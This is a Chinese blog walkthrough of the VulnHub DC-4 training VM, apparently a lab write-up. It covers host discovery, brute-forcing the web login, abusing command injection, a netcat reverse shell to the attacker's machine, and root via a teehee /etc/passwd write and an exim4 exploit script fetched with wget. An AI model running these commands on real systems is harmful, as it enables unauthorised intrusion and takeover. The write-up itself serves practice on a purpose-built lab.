[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-4 通关详解 (附靶机搭建教程)

男娘i 2024-04-29 01:58 12阅读 0赞

> ## 🍬 博主介绍 ##
> 
> 👨🎓 博主介绍：大家好，我是 [\_PowerShell][PowerShell] ，很高兴认识大家~  
> ✨主攻领域：【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】  
> 🎉点赞➕评论➕收藏 == 养成习惯（一键三连）😋  
> 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋  
> 🙏作者水平有限，欢迎各位大佬指点，相互学习进步！

#### 文章目录 ####

*  🍬 博主介绍
 *  一、环境搭建：
 *   *  1、靶场描述
     *  2、下载靶场环境
     *  3、启动靶场环境
 *  二、渗透靶场
 *   *  1、目标：
     *  2、信息收集：寻找靶机真实IP
     *  3、信息收集：探端口及服务
     *  4、目录爆破
     *  5、访问web服务
     *  6、爆破账号密码
     *  7、发现任意命令执行
     *  8、反弹shell到kali
     *   *  1.攻击机监听
         *  2.靶机连接
         *  3.反弹shell成功
     *  9、进入交互式shell
     *  10、teehee提权
     *   *  1、查看当前权限
         *  2、发现old-passwords.bak文件
         *  3、爆破出jim的ssh密码
         *  4、发现charles用户密码
         *  5、teehee提权
     *  11、exim4提权
     *   *  1、查看当前权限
         *  2、发现可以用exim4进行提权
         *  3、寻找exim4提权脚本
         *  4、上传提权脚本到靶机
         *  5、exim4提权
     *  12.发现flag.txt
 *  三、相关资源

## 一、环境搭建： ##

### 1、靶场描述 ###

DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
    Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
    Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
    For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

> 只有一个flag

### 2、下载靶场环境 ###

> 靶场下载地址：

https://www.vulnhub.com/entry/dc-4,313/

> 下载下来的文件如下

![在这里插入图片描述][7cc0ff29d49d47228fc735cb0bec3ded.png]

### 3、启动靶场环境 ###

> 下载下来是虚拟机压缩文件，直接用Vmvare导入就行。

![在这里插入图片描述][ad98faec955c486e8ea54dee46248b45.png]

> 设置虚拟机名称

![在这里插入图片描述][3f1d336b529940569ef2d290a4c166d3.png]

> 导入中

![在这里插入图片描述][a86b9da36b314377a81c943d4875a7b3.png]

> 导入完成之后打开后把网络模式设置为NAT模式。

![在这里插入图片描述][740057c99caf46229681b6c1fdea11ea.png]

> 虚拟机开启之后界面如下，我们不知道ip，需要自己探活，网段知道：192.168.233.0/24

![在这里插入图片描述][2c3024ea5d2f4fb39982ccd7e7e0a62d.png]

## 二、渗透靶场 ##

### 1、目标： ###

> 目标就是我们搭建的靶场，靶场IP为：192.168.233.0/24

### 2、信息收集：寻找靶机真实IP ###

> 使用nmap进行探活，寻找靶机ip

nmap -sP 192.168.233.0/24

![在这里插入图片描述][49614b147db54f89bcfdb6dab905f164.png]

> 也可以使用arp-scan进行探活，寻找靶机ip

arp-scan -l

![在这里插入图片描述][201149b5fa734c0dab4c5f9e7d6e297f.png]

> 本机ip为192.168.233.130  
> 所以分析可得靶机ip为192.168.233.180

192.168.233.1		vm8网卡
    192.168.233.2		网关
    192.168.233.179	靶机
    192.168.233.254	DHCP服务器
    192.168.233.130	kali本机

### 3、信息收集：探端口及服务 ###

> 使用nmap探活端口

nmap -A -p- -v 192.168.233.180

![在这里插入图片描述][fadbdf4a974f4c11bf47388fe8b293f1.png]  
![在这里插入图片描述][eec3655ddb1f42ad83bfa8325b568cdb.png]

> 发现开放了22端口，存在ssh服务，OpenSSH 7.4p1  
> 发现开放了80端口，存在web服务，nginx 1.15.10  
> 也可以使用masscan探活端口

masscan --rate=10000 --ports 0-65535 192.168.233.180

![在这里插入图片描述][6fcf6c3fb67544c1974ff92b7d444dfc.png]

> 然后进行web指纹识别

whatweb -v 192.168.233.180

![在这里插入图片描述][74733ee228544485a5bcd2867fe624fb.png]

### 4、目录爆破 ###

> 只发现登录框

![在这里插入图片描述][76aa1e62425b4e6f963d80700392b7ba.png]

### 5、访问web服务 ###

http://192.168.233.180/

![在这里插入图片描述][6a9f8a8f1d234075b7fe455ad0b2687b.png]

> 发现是一个登录框，我们第一反应就是能不能爆破出弱口令，然后就是有没有可能使用万能密码

### 6、爆破账号密码 ###

> 这里使用bp尝试获取弱口令  
> Bp抓个包，发送到爆破模块

![在这里插入图片描述][473e8ac9607a4e3f8c0eb0e385b1441c.png]

> 设置好爆破点

![在这里插入图片描述][e96357b7ecbd42e7ab370b6b1eb9c721.png]

> 导入优秀的字典  
> 我使用的字典

https://pan.baidu.com/s/1fMyJSuftvT3NSOjA7BkT-A?pwd=uiwr

> 账号我导入了一个常用用户名

![在这里插入图片描述][67130990b13340f591a8f7f8c1b8c67b.png]

> 密码我导入了一个top1000

![在这里插入图片描述][a395af334873421eb0a3b2dc4608ccdd.png]

> 开始爆破

![在这里插入图片描述][44b6a74480d04b1b80a5d285f35a018a.png]

> 爆破中

![在这里插入图片描述][a34188f978614fa498fcde614d37b6fc.png]

> 爆破结果如下：  
> 发现admin/happy这一组返回包长度最长，猜想他就是账号密码

![在这里插入图片描述][328c9395dcf741cb93dcf4da2b70b119.png]

> 使用admin/happy登录成功

![在这里插入图片描述][25800d3143984672917bc617ab7d2ed7.png]

### 7、发现任意命令执行 ###

> 发现它有一个命令，我们点进去看一下

![在这里插入图片描述][19c47d5820be456ca6734f0702ee71b0.png]

> 发现这里可以执行三种命令  
> 点击list files好像是执行了ls -l

![在这里插入图片描述][ca68ddf117c34d619ac9f630b4d23f45.png]

> 点击run抓个包看一下  
> 发现真的是执行了ls -l

![在这里插入图片描述][9706c0baa57d4f9f86f3984e6d5097e0.png]

> 发现执行了ls并回返值，猜想能不能执行任意命令  
> 把抓到的包放入重放攻击模块修改命令进行重放攻击  
> 由上面ls -l拼接方式看，我们可以知道空格使用+代替  
> 执行ls

![在这里插入图片描述][1a4134de58104ac4931cbc45cebffffa.png]

> 执行whoami

![在这里插入图片描述][494748bd95df48f4bba5d8d2d4aff4ac.png]

> 执行id

![在这里插入图片描述][9ebe4149fdf64dfe94872804c42e1347.png]

> 执行ip+add

![在这里插入图片描述][ac893645de04453ab7b287a444b6d51c.png]

> 由上面的测试可知确实存在任意命令执行，空格由+代替

### 8、反弹shell到kali ###

#### 1.攻击机监听 ####

nc -lvvp 55555

> Nc反弹shell详解在文末给出链接

![在这里插入图片描述][fbb913ded85e4d45a0c2b21cf44ad976.png]

#### 2.靶机连接 ####

> 连接命令

nc 192.168.233.130 55555 -e /bin/bash

> 经过+拼接如下

nc+192.168.233.130+55555+-e+/bin/bash

![在这里插入图片描述][60714b8a9cf24d8db9aedb944e7a40bc.png]

#### 3.反弹shell成功 ####

![在这里插入图片描述][00e8c6f4f1db4595aadde94bb3bd9f91.png]

> 执行ls

![在这里插入图片描述][f9f2ca4a7c63440dab14190c7cc1e7ed.png]

### 9、进入交互式shell ###

> 都知道上面的到的shell不好用，我们进入交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

![在这里插入图片描述][c44afc105f0146ec9f27cf3f3b670f24.png]

### 10、teehee提权 ###

> 这个靶机可以使用exim4提权也可以使用teehee提权，两种提权方式选择一种即可，这里我两种提权方式都有些到

#### 1、查看当前权限 ####

> 查看当前权限，不是root权限

id 
    Whoami

![在这里插入图片描述][42b3f5cb858f4a7387fdb992dc08b17d.png]

#### 2、发现old-passwords.bak文件 ####

> 查看系统里面有什么文件  
> 在/home/jim/backups下看到一个old-passwords.bak文件，看名字应该是一堆密码，而且是jim用户使用过的密码

![在这里插入图片描述][3603ab32aff847709c10572c8bab3fda.png]

> 打开看一下发现一堆密码

![在这里插入图片描述][14af5a48008746c68ba90db03931ca44.png]

> 感觉可以做爆破字典  
> 把文件保存下来

![在这里插入图片描述][1c1298f6f378460d9aa103c6e4f13180.png]

#### 3、爆破出jim的ssh密码 ####

> 使用hydra爆破一下ssh密码

hydra -l jim -P /root/Desktop/old-passwords.bak.txt 192.168.233.180 ssh

> 用户名为jim，密码为我们保存的old-passwords.bak.txt

![在这里插入图片描述][bd418551516647f99f70047b45e8222f.png]

> 果然爆破出一个一对用户密码

jim/jibril04

> 使用kali登录jim

ssh jim@192.168.79.132

> 密码是jibril04  
> 成功登录jim用户

![在这里插入图片描述][1052f88fc93347aca19f8cce4c72a05d.png]

#### 4、发现charles用户密码 ####

> 继续探索  
> 在/var/spool/mail目录下发现一封名为jim的邮件  
> 邮件内容大致为：  
> 我今天要去度假了，所以老板让我给你我的密码，以防有什么事情发生错了。  
> 也就是说这里我们又拿到了一个用户名和密码

Charles/^xHhA&hvim0y

![在这里插入图片描述][2a5126b500cc4f22aed6b4568b92036f.png]

> 直接su 切换用户试试

su Charles

> 提示没有这个用户名，那很明显首字母我们需要小写

su charles

> 然后输入密码

^xHhA&hvim0y

![在这里插入图片描述][caf4275f04e947cfb232c592bc211dcb.png]

> 成功用su命令切换到用户charles

#### 5、teehee提权 ####

> 1、查看使用sudo运行的命令

sudo -l

> 看到一个teehee提权，我们可以用teehee写一些信息到/etc/passwd里面

![在这里插入图片描述][a12d5e424dd2457ab95a1e38f207d364.png]

> 2、执行如下命令进行提权：

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

> 命令的意思大致利用teehee为把如下信息写到/etc/passwd里面，在用户名admin 没有密码为管理员权限，进入的时候运行/bin/bash  
> 3、/etc/passwd 内每个字段含义如下

admin::0:0:::/bin/bash
    username:password:User ID:Group ID:comment:home directory:shell

> 4、成功提权为root

![在这里插入图片描述][90abad863c8540f3980e7c065b5c419d.png]

### 11、exim4提权 ###

> 这个靶机可以使用exim4提权也可以使用teehee提权，两种提权方式选择一种即可，这里我两种提权方式都有些到

#### 1、查看当前权限 ####

> 查看当前权限，不是root权限

id 
    whoami

![在这里插入图片描述][e5baa62c4ec444d295afa36b53115fd5.png]

#### 2、发现可以用exim4进行提权 ####

> 看看具有SUID权限的命令

find / -user root -perm -4000 -print 2>/dev/null

> 发现exim4命令具有SUID权限，exim4是可以用来提权的

![在这里插入图片描述][9d410e7d781f4865a408f6850de21518.png]

> 查看查看exim4版本，发现exim4版本为4.89

exim4 --version

![在这里插入图片描述][8b10e93f08ab4820829d7a35c783b523.png]

#### 3、寻找exim4提权脚本 ####

> 1、本地漏洞库查找exim 4漏洞

searchsploit exim 4

> exim4版本为4.89，发现有好几个可以用，还有两个提权，这里我们选用46996

![在这里插入图片描述][4c632d5b11f54735825b8ec0354ea7c6.png]

#### 4、上传提权脚本到靶机 ####

> 开启apache服务

systemctl start apache2.service

> 将选用的46996拷贝到kali的apache web页面下

cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html

![在这里插入图片描述][5abe04ce963345f3ab9e2b37b6cddba0.png]

> 访问kali服务下载提权脚本

http://kali-ip/46996.sh

> DC-4下载提权脚本

wget http://192.168.233.130/46996.sh

> 提示可以访问，但拒绝访问，可能是目录权限不够，尝试切换到/tmp目录进行下载

![在这里插入图片描述][6e5ddfb65ca843a1bc264fc2f1e3ae03.png]

cd /tmp
    wget http://192.168.233.130/46996.sh

> 成功下载提权脚本

![在这里插入图片描述][0142f4d58d7c40ec8e1d598faf6b93c4.png]

#### 5、exim4提权 ####

> 我们已经上传了提权脚本到靶机，接下来我们需要运行脚本进行提权

ls -l

![在这里插入图片描述][561ccc9bc5fe4bee8177e564e1a7dbcc.png]

> 查看脚本权限，发现没有执行权限，我们需要给脚本加执行权限

chmod +x 46996.sh

![在这里插入图片描述][5547cd930bc947699a8178293a2a8192.png]

> 执行脚本

./46996.sh

![在这里插入图片描述][5958db85401d45d0bbfbfc833af81541.png]

> 成功提权为root权限

![在这里插入图片描述][d842e6d487424453be300fb77136daa8.png]

> 发现flag

![在这里插入图片描述][6caf5e5cacb04922b4d8faeb0d89aebe.png]

### 12.发现flag.txt ###

> 有了root权限，我们切换到root目录下，查看文件，发现flag.txt文件

cd /root
    ls
    cat flag.txt

![在这里插入图片描述][7dc3c924de864968845206bfd37bc3e9.png]

## 三、相关资源 ##

[ 1、靶场下载地址 ][1_]  
[ 2、\[ 隧道技术 \] 反弹shell的集中常见方式（一）nc反弹shell ][2_ _ _ _shell_nc_shell]  
[ 3、\[ 常用工具篇 \] burpsuite\_pro 安装配置详解（附安装包） ][3_ _ _ burpsuite_pro _]  
[ 4、arp-scan ][4_arp-scan]  
[ 5、文中用到的字典 ][5_]  
[6、nmap ][6_nmap]  
[7、masscan][7_masscan]  
[8、whatweb ][8_whatweb]  
[9、实现交互式shell的几种方式 ][9_shell_]  
[10、\[ 隧道技术 \] 反弹shell的集中常见方式（一）nc反弹shell ][2_ _ _ _shell_nc_shell]  
[11、提权辅助工具集合 ][11_]  
[12、简谈SUID提权][12_SUID]  
[13、\[ 常用工具篇 \] AntSword 蚁剑安装及使用详解 ][13_ _ _ AntSword _]

[PowerShell]: https://blog.csdn.net/qq_51577576
[7cc0ff29d49d47228fc735cb0bec3ded.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/387439813d0543fb928c954b5e53144d.png
[ad98faec955c486e8ea54dee46248b45.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/cdb113d0f690497294ad91028935b773.png
[3f1d336b529940569ef2d290a4c166d3.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/75a45bf8a2f54f1fa6e03f4e402e987b.png
[a86b9da36b314377a81c943d4875a7b3.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/0bf9273ac22a4fd2aed980e0272218b2.png
[740057c99caf46229681b6c1fdea11ea.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/81939dfdf60b4561a52d74799b7858e7.png
[2c3024ea5d2f4fb39982ccd7e7e0a62d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/3179793c1cce4e58840f33f6cb78bc99.png
[49614b147db54f89bcfdb6dab905f164.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/ee8d4391937a4dbbabc15c725b25cd39.png
[201149b5fa734c0dab4c5f9e7d6e297f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/607fcfd6c1494953a293380a3caf67cf.png
[fadbdf4a974f4c11bf47388fe8b293f1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/ae3fcaddbcd041de92b35879c7700140.png
[eec3655ddb1f42ad83bfa8325b568cdb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/0617ba0ee9094f1480041e3049ff7e49.png
[6fcf6c3fb67544c1974ff92b7d444dfc.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/f0ed8979289c404e9719e989b6548c36.png
[74733ee228544485a5bcd2867fe624fb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/f2f620df51074594be2d1bb83d9fc5a0.png
[76aa1e62425b4e6f963d80700392b7ba.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/93dcfdeb01f24cd3b564cf349747441b.png
[6a9f8a8f1d234075b7fe455ad0b2687b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/fea9cbf1ce9f412091113af957e83c3d.png
[473e8ac9607a4e3f8c0eb0e385b1441c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/772016079c0241288641fbee7b127bf6.png
[e96357b7ecbd42e7ab370b6b1eb9c721.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/19d52feb813a451a9093561168bb3b21.png
[67130990b13340f591a8f7f8c1b8c67b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/c5171561a3804c898354bfdeeb1671b5.png
[a395af334873421eb0a3b2dc4608ccdd.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/21264ea22c72453cb3619d9d6eb7014b.png
[44b6a74480d04b1b80a5d285f35a018a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/5cf5ba61ff74404598fb2e1d6427cb08.png
[a34188f978614fa498fcde614d37b6fc.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/78c17ab8a4fe46e4a741230c79888436.png
[328c9395dcf741cb93dcf4da2b70b119.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/143a91e808934a5db42f6d8ac0820bd1.png
[25800d3143984672917bc617ab7d2ed7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/c5b392ca295746cda1ada6bf915aa6be.png
[19c47d5820be456ca6734f0702ee71b0.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/4fdd0b4094c842c4802a8645693f52c8.png
[ca68ddf117c34d619ac9f630b4d23f45.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/0c9a8b61f3ac43b1abe02d2f6ca7009c.png
[9706c0baa57d4f9f86f3984e6d5097e0.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/b0bd1478cde84cbfbc2ec2fb4ab96591.png
[1a4134de58104ac4931cbc45cebffffa.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/a1b9668eb64b493ab14bab8a4630ec5d.png
[494748bd95df48f4bba5d8d2d4aff4ac.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/03a7469732684c349a374868210f8a55.png
[9ebe4149fdf64dfe94872804c42e1347.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/cb2813190a6243a984b814f6360ac51b.png
[ac893645de04453ab7b287a444b6d51c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/cdc7eebb6e7d46b9ac5f74d45f2c61ee.png
[fbb913ded85e4d45a0c2b21cf44ad976.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/7f3488569bfb4a76aae2f8326728c231.png
[60714b8a9cf24d8db9aedb944e7a40bc.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/445f7110c0d8475e9c03ceeabc5e08c3.png
[00e8c6f4f1db4595aadde94bb3bd9f91.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/d100c36b8ecc47149793c387c421d01d.png
[f9f2ca4a7c63440dab14190c7cc1e7ed.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/11486b5c18874f2f82e0cc7ec1bdb3f0.png
[c44afc105f0146ec9f27cf3f3b670f24.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/5148016c327740f5b2d7b6ef6b0f2c78.png
[42b3f5cb858f4a7387fdb992dc08b17d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/6763592ad1ce431ba6083fa5d4404dab.png
[3603ab32aff847709c10572c8bab3fda.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/b1019528b70d4c6da69346190693dd0d.png
[14af5a48008746c68ba90db03931ca44.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/893c900f52b7488c90b10c7a2b8d1c65.png
[1c1298f6f378460d9aa103c6e4f13180.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/ed3bdcaf4d5d47709eccc977e2d79167.png
[bd418551516647f99f70047b45e8222f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/6cf2005dd58e46b189c7187cd62a7bb5.png
[1052f88fc93347aca19f8cce4c72a05d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/6496a31470e3446880c21282a5af45f1.png
[2a5126b500cc4f22aed6b4568b92036f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/8895ea0df3074bef8d01ddb5a2c85510.png
[caf4275f04e947cfb232c592bc211dcb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/f0edf7ddc4b24d56b0c8926a958d9087.png
[a12d5e424dd2457ab95a1e38f207d364.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/9c261ac6f38b4cb19495fcae83d79a8b.png
[90abad863c8540f3980e7c065b5c419d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/77c1c027db1e4f54b8df284086665ebd.png
[e5baa62c4ec444d295afa36b53115fd5.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/00687d6c86e848048ef6c43c3e497f32.png
[9d410e7d781f4865a408f6850de21518.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/7316635745ad407e85acef4d69b86952.png
[8b10e93f08ab4820829d7a35c783b523.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/f778630240ad46018ce8011ef099ef78.png
[4c632d5b11f54735825b8ec0354ea7c6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/aaa2a72a2f3948359dd5246425ed15a5.png
[5abe04ce963345f3ab9e2b37b6cddba0.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/2a33cecce3294918869e4daeb845d4c9.png
[6e5ddfb65ca843a1bc264fc2f1e3ae03.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/700d7a66078d476d83882f81c5693ff7.png
[0142f4d58d7c40ec8e1d598faf6b93c4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/2cdafe45a9604568be04640c6ed57c98.png
[561ccc9bc5fe4bee8177e564e1a7dbcc.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/532a11a469374964a8587433ad440fe9.png
[5547cd930bc947699a8178293a2a8192.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/0fae9f36ff744091892688158bd1a92d.png
[5958db85401d45d0bbfbfc833af81541.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/9dfa88ee9a524a89969eac805d0b91ce.png
[d842e6d487424453be300fb77136daa8.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/bd9bec54e2d342bc881f6127405b3b4e.png
[6caf5e5cacb04922b4d8faeb0d89aebe.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/cbb1bb8be09c4a58a3b7d5fd046c31c7.png
[7dc3c924de864968845206bfd37bc3e9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/29/7abc9f71313f4a509375544276c7e94f.png
[1_]: https://www.vulnhub.com/entry/dc-4,313/
[2_ _ _ _shell_nc_shell]: https://blog.csdn.net/qq_51577576/article/details/126128251
[3_ _ _ burpsuite_pro _]: https://blog.csdn.net/qq_51577576/article/details/128571173
[4_arp-scan]: https://www.kali.org/tools/arp-scan/
[5_]: https://pan.baidu.com/s/1fMyJSuftvT3NSOjA7BkT-A?pwd=uiwr
[6_nmap]: https://nmap.org/man/zh/index.html
[7_masscan]: https://github.com/robertdavidgraham/masscan
[8_whatweb]: https://blog.csdn.net/m0_46363249/article/details/120013263
[9_shell_]: https://cloud.tencent.com/developer/article/2130066
[11_]: https://blog.csdn.net/qq_51577576/article/details/129479360
[12_SUID]: https://www.freebuf.com/articles/web/272617.html
[13_ _ _ AntSword _]: https://blog.csdn.net/qq_51577576/article/details/126912450